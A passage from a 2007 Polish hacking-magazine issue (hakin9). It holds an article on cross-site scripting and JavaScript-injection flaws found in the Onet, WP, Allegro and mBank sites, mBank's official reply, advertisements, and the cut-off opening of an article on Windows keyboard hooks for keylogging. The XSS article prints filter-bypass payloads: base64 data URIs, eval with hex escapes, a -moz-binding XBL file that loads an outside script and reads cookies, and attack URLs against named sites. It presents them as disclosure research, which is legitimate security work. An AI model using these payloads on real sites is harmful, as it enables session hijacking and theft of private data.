ila. W tym momencie trzeba przyznać,
że rozwiązanie Onetu jest bardziej
wszechstronne. Przyjrzyjmy się nastę-
pującemu plikowi html, który znajduje
się na Listingu 4.

Jak widzimy przeglądarka zare-

aguje na taki kod przeniesieniem na

stronę javascript:alert(document.co-

okie), co w przypadku większości po-
pularnych przeglądarek spowoduje
uruchomienie kodu JavaScript w kon-
tekście właśnie przeglądanej domeny.
Innymi słowy ten szczególny kod do-
prowadzi do wyświetlenia się ciaste-
czek zapamiętanych w przeglądar-
ce dla aktualnie przeglądanej strony,
w tym kluczy sesji, id użytkownika i
innych prywatnych danych. Jak już
wspomniałem wcześniej, w przypad-
ku Onetu konieczne jest otworzenie
tego załącznika funkcją pokaż, w WP
wystarczy natomiast próba przeczy-
tania maila. Ponadto w tym przypad-
ku, ponieważ serwis nie wykrył żad-
nych znanych słów bądź zwrotów klu-
czowych, nie jesteśmy nawet powia-
damiani o grożącym nam niebezpie-
czeństwie. Spójrzmy więc na efekty
widoczne na Rysunku 1 i 2.

Jak łatwo zauważyć, atakujący

ma bardzo łatwy dostęp do wszyst-
kich naszych danych, a dzięki luce
Session Fixation możliwe jest prze-
jęcie kontroli nad otwartym kontem,
ściągnięcie listy kontaktów, czytanie ,
kasowanie, pisanie maili i wszystko to,
do czego ma prawo zalogowany użyt-
kownik. Ciekawym aspektem sprawy
jest to, że internauta nie ma żadnego
sposobu na uniknięcie ataku, oprócz
wyłączenia obsługi JavaScript, co
jednak wielokrotnie utrudnia lub na-
wet uniemożliwia obsługę poczty za
pomocą przeglądarki.

W dzień po opisaniu wyżej wy-

mienionego problemu na łamach
mojego blogu zauważyłem zmianę
w sposobie działania WP. Nie wiem,
czy była to reakcja na moje odkry-
cie, czy zwykły zbieg okoliczności.
Nie mniej jednak, po krótkiej analizie
okazało się, że Wirtualna Polska fil-
truje zwrot javascript: i zamienia go
na, co w naszym wypadku uniemoż-
liwia egzekucję. Postanowiłem nie-
znacznie zmodyfikować kod wysyła-
nego przez nas pliku, możemy zoba-
czyć to na Listingu 5.

Wprowadzona modyfikacja wyni-

ka z faktu, iż przeglądarki Netscape,
Mozilla Firefox, Opera i inne potrafią
przetwarzać adresy url zakodowane
w postaci base64. Dzięki tej modyfi-
kacji powinniśmy być w stanie ominąć

nowo wprowadzone zabezpieczenia.
I rzeczywiście kod wykonuje się bez
żadnego problemu. Niestety, aby
doprowadzić do egzekucji kodu na
przeglądarce Internet Explorer trzeba
użyć innej metody nie wychwytywa-
nej jeszcze przez skrypty serwisu.

Po kilku dniach Onet wprowadził

zmiany w swoim serwerze, które są
równie rygorystyczne dla załączni-
ków html, co dla treści samego maila.
Spójrzmy na przykład zamieszczony
w Listingu 6.

Jak widzimy jest to jak najbardziej

poprawny (przynajmniej z punktu wi-
dzenia validator.w3.org) dokument
XHTML 1.1. Odwołuje się on do arku-
sza stylów css.css i skryptu JavaScript
script.js. Oba na serwerze server.com.
Oprócz tego przeglądarka po prze-
tworzeniu tego pliku powinna nam
wyświetlić napis Test w kolorze zielo-
nym i logo W3C. A teraz zobaczmy, co
otrzymamy od Onetu – Listing 7.

Jak możemy zauważyć, część

znaczników została zmieniona (do-
dano atrybut target, którego wcze-
śniej nie było), a część po prostu usu-
nięta. Oczywiście w przypadku tak
prostej strony możemy łatwo napra-
wić wyrządzone szkody, jednakże w
wielu sytuacjach taka naprawa może
nam zająć sporo czasu. Poza tym w
przypadku bardziej skomplikowanych
stron, które używają dużej ilości CSS,
JavaScript, itp. uszkodzenia są o wie-
le bardziej rozległe. Odebrany przez
nas mail html może być kompletnie
nieczytelny. Co więcej, przeprowa-
dzone przeze mnie testy wykazały, iż
otwierając dużą ilość pustych znacz-
ników (

<<<

), możemy doprowadzić do

usunięcia całych fragmentów kodu.
Oczywiście po zapisaniu na dysku

Rysunek 2.

Efekt działania skryptu w WP

Rysunek 1.

Efekt działania skryptu w Onecie

Listing 4.

Przykładowy plik

html, lang=html

<

html

>

<

head

>

<

meta

equiv

=

"refresh"

content

=

"0;

url=javascript:alert
(document.cookie);"

>

<

/

head

>

<

body

>

<

/

body

>

<

/

html

>

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

13

mail wraca do pierwotnej formy, jed-
nakże ta właściwość serwisu mo-
że być wykorzystana na niekorzyść
użytkownika. Wyobraźmy sobie sy-

tuację, w której wirus rozprzestrze-
nia się za pomocą luki w przeglądar-
ce Internet Explorer, dodając się ja-
ko część treści maila w postaci html.

Użytkownik odbierający maila zdaje
sobie sprawę z niebezpieczeństwa i
dlatego nie korzysta z poczty za po-
mocą tej przeglądarki. W pewnym
momencie otrzymuje na przykład
kartkę świąteczną (w postaci maila
html) od rodziny. Sprawdza więc kod
strony i nie zauważa nic podejrzane-
go. Zapisuje zatem plik na dysku jako
pamiątkę, ale wirus dołączył własny
kod, jako treść tego maila, ukrywając
swoją obecność za pomocą otwiera-
nia pustych znaczników. Mamy tutaj
do czynienia z błędem zaufania. Je-
śli ów internauta zaufa treści załącz-
nika i w późniejszym terminie otworzy
treść maila za pomocą przeglądarki
Internet Explorer, jego komputer zo-
stanie zainfekowany.

Gdy kończyłem ten artykuł mi-

nął już tydzień odkąd powiadomi-
łem o tych nieprawidłowościach ser-
wisy Onet.pl i WP.pl. W tym celu uży-
łem formularzy znajdujących się na
stronach portali. Od WP nie dosta-
łem jeszcze żadnej odpowiedzi, a
opisane (i nie opisane) błędy nadal
funkcjonują. Co się tyczy Onetu, błę-
dów już nie ma, a jeden z czytelników
mojego blogu, który później okazał
się pracownikiem portalu, pozosta-
wił wpis sugerujący, iż powinienem
się skontaktować z Onetem poprzez
adres mailowy abuse@onet.pl. Tak
też uczyniłem i bardzo szybko dosta-
łem odpowiedź. Ustaliliśmy, iż w przy-
szłości wykryte luki będę zgłaszał do
Onetu w ten właśnie sposób, dając im
co najmniej 24 godziny na ich załata-
nie. Chciałbym zachęcić również czy-
telników do takiego samego postępo-
wania, gdyż gwarantuje to bezpie-
czeństwo użytkownikom, dając czas
administratorom na załatanie wykry-
tej luki. Powód, dla którego postąpi-
łem inaczej był prosty. Nie mogłem
napisać na ten adres, gdyż nie wie-
działem o jego istnieniu. Co prawda,
tego typu adresy są swego rodzaju
standardem, ale niektóre serwisy sto-
sują się do tego, a inne nie. Właśnie
dlatego szukałem informacji na stro-
nie portalu, ale tam znalazłem tylko
formularz kontaktowy, z którego sko-
rzystałem. Ogólnie reakcję serwisu
należy ocenić pozytywnie. Błędy zo-
stały załatane w rozsądnym czasie, a

Listing 5.

Plik zmodyfikowany w celu ominięcia zabezpieczeń

wprowadzonych przez WP, lang=html

<

html

>

<

head

>

<

META

HTTP

-

EQUIV

=

"refresh"

CONTENT

=

"0;url=data:text/html;base64,

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"

>

<

/

head

>

<

body

>

<

/

body

>

<

/

html

>

Listing 6.

Przykładowy mail html, lang=html

<

?

xml

version

=

"1.0"

encoding

=

"iso-8859-2"

?

>

<!

DOCTYPE

html

PUBLIC

"

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

xmlns

=

"http://www.w3.org/1999/xhtml"

xml

:

lang

=

"pl-PL"

>

<

head

>

<

meta

http

-

equiv

=

"Content-type"

content

=

"text/html; charset=iso-8859-2"

/

>

<

meta

http

-

equiv

=

"Content-Language"

content

=

"pl"

/

>

<

title

>

Dokument

testowy

<

/

title

>

<

link

href

=

"http://server.com/css.css"

type

=

"text/css"

rel

=

"stylesheet"

/

>

<

script

src

=

"http://server.com/srcipt.js"

type

=

"text/javascript"

><

/

script

>

<

/

head

>

<

body

>

<

div

style

=

"color: green; text-align: center;"

>

Test

<

/

div

>

<

p

>

<

a

href

=

"http://validator.w3.org/check?uri=referer"

><

img

src

=

"http://www.w3.org/Icons/valid-xhtml10"

alt

=

"Valid XHTML 1.0 Strict"

height

=

"31"

width

=

"88"

/

><

/

a

>

<

/

p

>

<

/

body

>

<

/

html

>

Listing 7.

Odpowiedź Onetu na nasz przykładowy mail html, lang=html

<!--

/

ad

-

config

/

[

ad

-

server

-

002

]

group

:

@

stats

/

ad

-

config

/

-->

<!

DOCTYPE

html

PUBLIC

"

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

xmlns

=

"http://www.w3.org/1999/xhtml"

xml

:

lang

=

"pl-PL"

>

<

head

>

<

/

head

>

<

body

>

<

div

style

=

"color: green; text-align: center;"

>

Test

<

/

div

>

<

p

>

<

a

href

=

"http://validator.w3.org/check?uri=referer"

target

=

'

_blank

'

><

img

src

=

"http://www.w3.org/Icons/valid-xhtml10"

alt

=

"

Valid XHTML 1.0 Strict"

height

=

"31"

width

=

"88"

/

><

/

a

>

<

/

p

>

<

/

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

14

na wszelkie pytania udzielono szyb-
kiej i rzeczowej odpowiedzi. Posta-
wa Wirtualnej Polski pozostawia jed-
nak wiele do życzenia. Mimo poinfor-

mowania portalu w podobny sposób
(wysłałem odpowiedni mail na adres

abuse@wp.pl) nie dostałem żadnej
odpowiedzi. Co prawda po czterech

dniach od momentu wysłania owe-
go maila zauważyłem, że luka wyja-
śniona powyżej została przez ekipę
portalu załatana. Nieopisane na blo-
gu błędy jednak nadal funkcjonują, co
jest bezpośrednim wynikiem braku ja-
kiegokolwiek kontaktu z moją oso-
bą. Ponadto wystarczy mała mody-
fikacja w naszym kodzie, by znowu
doprowadzić do JavaScript Injection.
Poprawka Wirtualnej Polski polega
na zmianie wartości http-equiv z re-
fresh na _refresh. Teoretycznie zała-
twia to sprawę, w praktyce jednak nie
jest to takie proste. Przyjrzyjmy się Li-
stingowi 8.

Oczywiście także tu użytkownik

nie zostanie nawet poinformowany o
grożącym mu niebezpieczeństwie. Po
kliknięciu na link zostanie uruchomio-
ny kod JavaScript. Dzieje się tak po-
nieważ wiele przeglądarek jest w sta-
nie przetwarzać linki w postaci data:
W tym przypadku wykorzystaliśmy ko-
dowanie base64, co skutecznie ukryło
wszystkie słowa kluczowe. Jak można
zauważyć, podejście do problemu, ja-
kie zaprezentowała Wirtualna Polska,
do tej pory nie gwarantuje bezpieczeń-
stwa. Nie można się skupiać tylko na
jednym przykładzie błędu. Takie sytu-
acje są idealne dla ludzi, których ce-
lem jest kradzież naszych danych oso-
bistych. Jak już napisałem na począt-
ku, jest to jedynie modyfikacja nasze-
go podstawowego pliku. Gdyby ad-
ministratorzy przeanalizowali dokład-
nie przedstawione przeze mnie przy-
kłady, szybko zauważyliby, że doda-
nie następnej regułki do wyelimino-
wania kolejnego słowa kluczowego w
tym przypadku nie pomoże. Jak wcze-
śniej wspomniałem, w całym artyku-
le skupiłem się wyłącznie na jednym,
prostym problemie. Ani w tym tekście,
ani na swoim blogu nie opisywałem in-
nych błędów, ponieważ zdaję sobie
sprawę, iż ich załatanie może trwać
dość długo. Mamy tutaj do czynienia z
poważnym błędem systemowym, któ-
ry może skończyć się tragicznie dla
użytkowników portalu. Na prośbę por-
talu chętnie przedstawiłbym wszystkie
zgromadzone przeze mnie informa-
cje dotyczących defektów zabezpie-
czeń stosowanych przez serwis. Nie-
stety moje spostrzeżenia nie spowo-

Rysunek 3.

Efekt działania skryptu w Allegro(kod)

Rysunek 5.

Kod z wstrzykniętym nowym elementem

Rysunek 4.

Efekt działania skryptu w Allegro(zrzut)

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

15

dowały żadnej odpowiedzi, a Wirtual-
na Polska nadal pozostaje dziurawym
portalem.

Kolejna dziura w Allegro

Allegro jest największym w Polsce
serwisem aukcyjnym. Każdego dnia z
jego usług korzystają tysiące interna-
tów dokonując transakcji zakupu, bądź
sprzedaży różnych przedmiotów. Je-
śli chcemy być w stanie wykonać któ-
rąkolwiek z tych czynności, musimy
być zalogowani do wewnętrznej czę-
ści serwisu zwanej Moje Allegro. Mniej
więcej tydzień przed Świętami Boże-
go Narodzenia ekipa hacking.pl odkry-
ła poważny błąd w zabezpieczeniach
Allegro, który pozwalał atakującemu
na przejęcie kontroli nad kontem użyt-
kownika: wystawianie aukcji, kradzież
danych prywatnych itp. Jak się oka-
zało, była to luka typu XSS, wynika-
jąca z braku odpowiedniego oczysz-
czania zmiennej

PHP _ SELF.

Co praw-

da, we wstrzykniętym kodzie nie moż-
na było używać cudzysłowów, lecz
używając funkcji String.fromCharCo-

de autor artykułu bardzo szybko po-
radził sobie z trudnościami wykorzy-
stując JavaScript Injection do pełne-
go XSS. Około trzech tygodni póź-
niej sam również zainteresowałem się
tym serwisem. Bardzo zaskoczył mnie
fakt, iż znalezienie kolejnego błędu za-
jęło mi 10 minut. Mimo, że portal po-
prawnie przetwarzał zarówno dane
przekazywane w zmiennej

PHP _ SELF

,

jak i zmienne w tablicy

$ _ GET

oraz nie

było możliwości wstrzyknięcia żadne-
go kodu w ten sposób, to okazało się,
że same nazwy zmiennych nie pod-
legały żadnemu sprawdzaniu. Pod-
czas testów dowiedziałem się, iż ma-
my pewne ograniczenia, ponieważ
nie możemy użyć dwóch przydat-
nych znaków: spacji i kropki. Jak wia-
domo większość przydatnych funk-
cji JavaScript wymaga kropki. Może-
my próbować albo od razu odwołać
się do zewnętrznego skryptu używa-
jąc atrybutu src, albo wpisywać kod,
który to zrobi do znacznika script. Ja
zacząłem od tej pierwszej metody.
Dążymy do wstrzyknięcia mniej wię-
cej takiego kodu : <script src=http:

//server.com/xss.js></script>. Oto ja-
kie stoją przed nami problemy: spacja

pomiędzy script i src oraz kropki w ad-
resie. Jak się okazuje, spację możemy
ominąć używając tabulatora, który nie
jest w żaden sposób filtrowany. Pozo-
staje więc tylko kwestia kropki. Na tym
etapie musiałem sięgnąć do różnych
artykułów dotyczących działania prze-
glądarek internetowych. Mniej więcej

po 30 minutach dowiedziałem się, że
adres IP może zostać zapisany w for-
macie dword, czyli na przykład: http:

//12341234/. Stworzyłem więc testo-
wy plik html, który został umieszczo-
ny w Listingu 9.

Zdziwił mnie fakt, iż przeglądarka

(zarówno Mozilla Firefox jak i Internet

Listing 8.

Plik zmodyfikowany w celu ominięcia nowych zabezpieczeń

WP, lang=html

<html>

<

head

>

<

/

head

>

<

body

>

<

a

href

=

data

:

text

/

html

;

base64

,

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

"

>

Kliknij

<

/

a

>

<

/

body

>

<

/

html

>

Listing 9.

Plik będący próbą wykorzystania zapisu ip jako dword,

lang=html

<

?

xml

version

=

"1.0"

encoding

=

"iso-8859-2"

?

>

<!

DOCTYPE

html

PUBLIC

"

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

xmlns

=

"http://www.w3.org/1999/xhtml"

xml

:

lang

=

"pl-PL"

>

<

head

>

<

meta

http

-

equiv

=

"Content-type"

content

=

"text/html; charset=iso-8859-2"

/

>

<

meta

http

-

equiv

=

"Content-Language"

content

=

"pl"

/

>

<

title

>

Dokument

testowy

<

/

title

>

<

/

head

>

<

body

>

<

script

src

=

http

:

//

127.0

.

0.1

:

80

/

ala

><

/

script

>

<

script

src

=

http

:

//

2130706433

:

80

/

ala

><

/

script

>

</body>

<

/

html

>

Listing 10.

Plik wykorzystywany do osiągnięcia XSS w przeglądarkach

z rodziny Gecko, lang=html

<

?

xml

version

=

"1.0"

?

>

<

bindings

xmlns

=

"http://www.mozilla.org/xbl"

xmlns

:

xbl

=

"http://www.mozilla.org/xbl"

xmlns

:

html

=

"http://www.w3.org/1999/xhtml"

xmlns

:

xul

=

"http://www.mozilla.org/keymaster/gatekeeper/

there.is.only.xul"

>

<

binding

id

=

"xss"

>

<

implementation

>

<

constructor

>

alert

(

"jasio"

);

var

ala

=

document

.

createElement

(

'

script

'

);

ala

.

src

=

"http://server.com/xss.js"

;

document

.

body

.

appendChild

(

ala

);

alert

(

document

.

cookie

);

<

/

constructor

>

<

/

implementation

>

<

/

binding

>

<

/

bindings

>

.

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

16

Explorer) uruchamiają tylko pierwszy
kod. W logach serwera http nie zna-
lazłem nic dziwnego. Uruchomiłem
więc własną aplikację nasłuchującą
na porcie 80, która na każde zapyta-
nie odpowiadała tym samym kodem.
Ponownie wykonany został tylko
pierwszy kod. Przypuszczam, że jest
to jakieś zabezpieczenie, jednakże
żadnych szczegółowych informacji
na ten temat nie udało mi się znaleźć.
Zmieniłem wiec taktykę. Postanowi-
łem wykorzystać wiedzę na temat
różnych funkcji JavaScript i po chwili
trafiłem na opis funkcji eval. Jest to
metoda, która traktuje ciąg znaków
jako kod i uruchamia go. To pozwala

na rozwiązanie wszystkich naszych
problemów, ponieważ w zapisie ta-
kim możemy wykorzystywać znany
z C sposób przedstawiania znaków za
pomocą ich wartości ASCII w syste-
mie szesnastkowym, czyli na przykład
kropka zmienia się w \x2e. Wystarczy
skonstruować więc link, w którym
jako nazwę zmiennej podamy: jasio-

%22%25&%3E%3Cscript%3E

eval('alert(document%5Cx2ecoo

kie);');%3C/script%3E, a otrzymamy
rezultat widoczny na Rysunkach 3 i 4.

Teraz tylko modyfikujemy nasz

skrypt, by dodawał do kodu strony
nowy element i mamy już XSS – Ry-
sunek 5.

Nie poinformowałem portalu o

wykrytej luce czekając, aż admini-
stratorzy sami znajdą błąd. Jak się
okazało, zajęło im to ponad miesiąc.
Jak przypuszczam Allegro liczyło na
to, że sprawa nigdy nie ujrzy światła
dziennego. Takie podejście nie wyda-
je się być zbyt odpowiedzialne. Użyt-
kownicy mają prawo wiedzieć o ryzy-
ku, jakie im grozi. Przypuszczam, że
gdybym napisał maila do Allegro z py-
taniem o stan bezpieczeństwa porta-
lu przed publikacją tej informacji, do-
wiedziałbym się, że serwis jest bez-
pieczny i żadnego ryzyka z jego użyt-
kowania nie ma i nie było. Mam na-
dzieję, że po tej historii zmieni się to
na lepsze i błędy tak oczywiste będą
łatane szybciej niż w miesiąc.

Problemy z

bezpieczeństwem

mBanku

Postanowiłem również rzucić okiem
na stronę mBanku, który jest jednym
z dwóch największych banków wirtu-
alnych w Polsce. Niestety i tutaj zna-
lazłem kilka luk, których wykorzysta-
nie zagrażało użytkownikom. Błę-
dy w systemie pozwalały na pełen
wgląd do danych o właścicielu kar-
ty (adres zamieszkania, email itp.),
historii przelewów, informacji o loka-
tach, danych dotyczących kart kre-
dytowych (numer karty, limity, produ-
cent), informacji o zaciągniętych kre-
dytach czy wykupionych ubezpiecze-
niach oraz poznanie numerów list ha-
seł jednorazowych aktualnie zalogo-
wanego użytkownika. Na samym po-
czątku przeanalizowałem portal infor-
macyjny mBanku i już tutaj natrafiłem
na pierwszy błąd. Tekst wpisywany w
wyszukiwarkę mSzopu nie był w ża-
den sposób sprawdzany, co pozwa-
la na wstrzyknięcie dowolnego kodu.
Spójrzmy na przykładowy link: http:

//www.mbank.com.pl/mszop/mszuk

aj.html?query=jasio%22%3E%3C/if

rame%3E%3Cscript%3Ealert(/Blad

w mbanku/)%3C/script%3E . Nieste-
ty, ponieważ jest to tylko część infor-
macyjna, niebezpieczeństwo nie jest
aż tak duże, ale nadal luka może zo-
stać wykorzystana do ataku phishin-
gowego. Pomyślny XSS widoczny
jest na Rysunku 6.

Rysunek 8.

Pomyślne przechwycenie ciasteczek

Rysunek 7.

Fragment kodu pokazujący, jak mBank przechowuje zmienne

Rysunek 6.

Pomyślnie wykonany XSS w części informacyjnej mBanku

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

17

Następnie przyjrzałem się części

wewnętrznej serwisu. Na początku
miałem mniej szczęścia. Okazało się
bowiem, że serwis filtruje wszelkie
możliwe znaki, które mogą być wyko-
rzystane do wstrzyknięcia kodu. Już
miałem się poddać, gdy natknąłem się
na następujący fragment kodu, który
został zamieszczony na Rysunku 7.

Jakkolwiek można zauważyć war-

tość zmiennej sAccessFlag nie jest
umieszczana w cudzysłowach, a co
za tym idzie możemy wykonać na
przykład, https://www.mbank.com.pl/

ib_termdeposits.asp?sAccessFla-

g=jasio%20style=background-ima-

ge:url%28javascript:alert%28docu-

ment.cookie%29%29 czego efektem
jest przechwycenie ciasteczka, wi-
doczne na Rysunku 8.

Jeśli chcemy doprowadzić do XSS

w obu najpopularniejszych przeglą-
darkach (Internet Explorer i Mozilla Fi-
refox), musimy postąpić następująco.
Najpierw stworzyć atrybut style z war-
tością -moz-binding wskazującym na
plik, jak na Listingu 10.

Wykorzystujemy tutaj możliwość

przetwarzania przez przeglądarki z ro-
dziny Mozilla atrybutu styl jako specjal-
nego pliku xml, a dokładnie możliwość
zdefiniowania tak zwanego konstruk-
tora. W praktyce możemy na przy-
kład ustawić zachowania dla jednego
lub wielu elementów strony tuż po ich
utworzeniu i stąd nazwa konstruktor.
Następnie użyć drugiego atrybut sty-
le o wartości background-image:url(ja-

vascript:..). Możemy w ten sposób wy-
konać polecenie JavaScript, które uru-
chomione na przeglądarce Internet
Explorer doda do kodu strony nowy
element script odwołujący się do na-
szego skryptu. Efekty pomyślnego wy-
korzystania powyższej luki możemy
zobaczyć na Rysunkach 9 i 10.

W tym artykule zostały opisane

cztery przykładowe serwisy. Mimo, że
są to jedne z największych serwisów w

polskich zasobach sieci Internet, udało
się w nich wykryć bardzo poważne lu-
ki. Błędy te mogły zostać wykorzysta-
ne przeciwko użytkownikom serwisów
w celu wykradzenia ich prywatnych
danych, czy w ostateczności – pienię-
dzy. Internet jest ciągle niebezpiecz-
nym miejscem dla nieświadomego
użytkownika, który korzystając z jego
możliwości ma do czynienia z olbrzy-
mią bazą informacji, ale również polem
bitwy między twórcami oprogramowa-
nia i stron internetowych, a crackerami
i phisherami starającymi się wykorzy-
stać wszelkie możliwe błędy do kra-

dzieży pieniędzy, czy spowodowania
zwyczajnego zamieszania. Polskie
portale powinny być świadome zagro-
żenia i przeciwdziałać mu. Do tej po-
ry można wykryć bardzo poważne błę-
dy w wielkich serwisach. Nie wspomnę
tym bardziej o mniejszych, które nie
zajmują się nawet takimi problemami.
Warto zaznaczyć, iż Interia po zgłosze-
niu błędów, w ciągu roku nic nie zrobi-
ła w ich sprawie. Mam jednak nadzieję,
że w przyszłości będziemy mogli liczyć
na staranniejsze podejście do tematu
zabezpieczeń polskich serwisów inter-
netowych i ich wyższego poziomu. l

Rysunek 10.

Kod strony ukazujący nasze dodane elementy

Rysunek 9.

Pomyślny XSS, przeglądarka odwołuje się do naszego skryptu

O autorze

Michał Majchrowicz, student III roku
informatyki na wydziale Elektrotechni-
ki, Elektroniki, Informatyki i Automaty-
ki Politechniki Łódzkiej.
Kontakt: mmajchrowicz@gmail.com

background image

hakin9 Nr 4/2007

www.hakin9.org

Stanowisko mBanku

2

Podane w artykule informacje doty-
czące serwisu banku zostały dokład-
nie przeanalizowane przez eksper-
tów mBanku.

Analiza wykazała, że tylko przy wy-

stąpieniu szczególnych okoliczności
istniało prawdopodobieństwo wykorzy-
stania przez oszustów internetowych
pewnego pola do nadużyć, polegają-
cego na umożliwieniu przeglądania da-
nych, o których wspomniano w artyku-
le. Stwierdzono, że zagrożenie mogło-
by dotyczyć tylko zalogowanego Klien-
ta, który przy jednoczesnym korzysta-
niu z serwisu transakcyjnego mBan-
ku, wywołałby spreparowany link, prze-
słany za pośrednictwem poczty elek-
tronicznej, komunikatorów itp. Analizo-
wana sytuacja nie była zatem możliwa
bez aktywnego udziału zalogowanego
użytkownika, jak również nie pozwalała

na wykonanie operacji i przelewów za-
twierdzanych hasłem jednorazowym
TAN lub kodem SMS. Wskazane przez
autorów artykułu pole do potencjalnych
nadużyć zostało usunięte w ciągu kil-
ku godzin od momentu pojawienia się
informacji na ten temat. Zgodnie z do-
tychczasową praktyką mBank przy-
pomina swoim Klientom o stosowaniu
podstawowych zasad bezpiecznego
korzystania z Internetu i uczula, by ko-
rzystając z serwisu transakcyjnego nie
uruchamiali oni linków przesyłanych w
e-mailach, wiadomościach z komuni-
katorów itp. Informacje dotyczące za-
bezpieczenia komputera osobistego
oraz podstawowych zasad bezpiecz-
nego korzystania z Sieci zamiesz-
czone są w serwisie mBanku (http:

//www.mbank.com.pl/przewodnik/

bezpieczenstwo/).

Artykuły edukacyjne oraz porusza-

jące najnowsze zagadnienia związane
z podobną problematyką zamieszcza-
ne są w kolejnych numerach mBanko-
wego biuletynu "Bezpieczeństwo" (http:

//www.mbank.com.pl/przewodnik/

bezpieczenstwo/biuletyn.html).

Informacje dodatkowe

Magdalena Ossowska, Rzecznik praso-
wy mBanku, tel: 042 638 17 22, e-mail:
magdalena.ossowska@mbank.pl

Stanowisko mBanku

R

E

K

L

A

M

A

background image

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B i

B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKompute-

rowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu i

zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Pr

en

um

er

at

a

PR

O

Prenumerata PRO

ko

nt

ak

t d

o

na

s:

m

ar

ty

na

.z

ac

ze

k@

so

fta

w

re

.c

om

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

fta

w

re

.c

om

.p

l

te

l.

: 2

2

88

7

13

4

5

background image

www.hakin9.org

hakin9 Nr 4/2007

20

Atak

J

ak działają programy przechwytujące i
zapisujące wszystkie naciśnięte przez
użytkowników komputera klawisze? W

systemie Windows ich zadaniem jest zazwy-
czaj monitorowanie komunikatów związanych
z klawiaturą. Co to znaczy? Komunikaty (ang.

windows messages) tworzą niejako układ ner-
wowy systemu Windows, łączący go z urucho-
mionymi w nim aplikacjami. To właśnie komu-
nikaty przekazują aplikacjom informacje o tym,
że została ona kliknięta myszką lub naciśnięty
został jakiś klawisz, przez co od aplikacji ocze-
kiwana jest w związku z tym jakaś reakcja. To,
co jest dla nas naturalne, np. kliknięcie przyci-
sku widocznego na oknie aplikacji i co użytkow-
nikowi komputera wydaje się odbywać jedynie
w kontekście samej aplikacji, w istocie angażu-
je system Windows – w końcu myszka i klawia-
tura nie są podłączone do aplikacji, a do kom-
putera zarządzanego przez Windows, to Win-
dows właśnie, a nie sama aplikacja, może od-
czytać stan tych urządzeń. Aplikacja odcięta
od strumienia komunikatów staje się głucha i
niema (aby taki stan uzyskać wystarczy nadpi-
sać metodę

WndProc

okna aplikacji, nie wywołu-

jąc z niej metody nadpisywanej, i pozostawia-
jąc ją zupełnie pustą). W szczególności aplika-

cja przestaje zaś reagować na polecenia od-
świeżenia okna, co objawia się charaktery-
styczną „białą plamą” w miejscu jej interfejsu.

A w jaki sposób możliwe jest monitorowa-

nie przepływu komunikatów? System Windows
udostępnia mechanizm haków (ang. hooks). Po-
zwala on skojarzyć określony w haku typ komu-
nikatów ze zdefiniowaną przez użytkownika me-
todą. Haki mogą być ustawiane bądź w kontek-
ście konkretnej aplikacji, konkretnego wątku,

Hak na Windows

Jacek Matulewski

stopień trudności

Imię domowego zwierzaka i bieżący rok to najczęściej

wykorzystywany schemat haseł. Jednak, gdy hasło jest tak silne,

że nie można go wykryć typowymi metodami, istnieje groźba,

że zostanie ono podsłuchane. Nie chodzi o przysłuchiwanie się

osobom mamroczącym podczas pisania, lecz o podsłuchiwanie

klawiatury przez programy uruchomione w Windows.

Z artykułu dowiesz się...

• w jaki sposób korzystać z mechanizmu haków

systemu Microsoft Windows, w szczególności w
jaki sposób wykorzystać go do podsłuchiwania
klawiatury (np. w celu zdobycia loginów i haseł)

• pomysł na generator liczb losowych oparty na

monitorowaniu korzystania przez użytkownika
z klawiatury.

Powinieneś wiedzieć...

• wymagana jest ogólna orientacja w korzystaniu

z funkcji WinAPI oraz umiejętność projektowa-
nia bibliotek DLL.

background image

Hak na Windows

hakin9 Nr 4/2007

www.hakin9.org

21

bądź globalnie. W tym drugim przy-
padku funkcja wykonywana będzie
po wykryciu każdego komunikatu mo-
nitorowanego typu w całej sieci ner-

wowej systemu i tylko ten rodzaj ha-
ka będzie nas teraz interesować. Ha-
ki globalne (ang. global hooks), a do-

kładniej ich funkcje zahaczone (ang.

hook procedure; nie znajduję lepsze-
go tłumaczenia) muszą być umiesz-
czone w bibliotece DLL, która bę-
dzie ładowana do przestrzeni adre-
sowej każdej aplikacji, która otrzyma
monitorowany typ komunikatu. W ten
sposób dowolna aplikacja będzie mo-
gła uruchomić przygotowaną przez
nas funkcję. To wszystko brzmi może
dość zawile, ale w praktyce nie okaże
się bardzo trudne do realizacji. Wyda-
je mi się, że nawet niezbyt zaawan-
sowany programista znający choćby
pobieżnie bibliotekę WinAPI i mają-
cy doświadczenie z tworzeniem bi-
bliotek DLL powinien sobie z haka-
mi poradzić.

Stawianie

haków w praktyce

Najlepiej poznać wroga studiując je-
go metody. Dlatego przygotujemy
prosty program podsłuchujący na-
ciśnięte klawisze. Program napisze-
my w C++Builderze 6 (ze względu na
darmową wersję Personal dostępną
na stronie http://www.borland.pl/

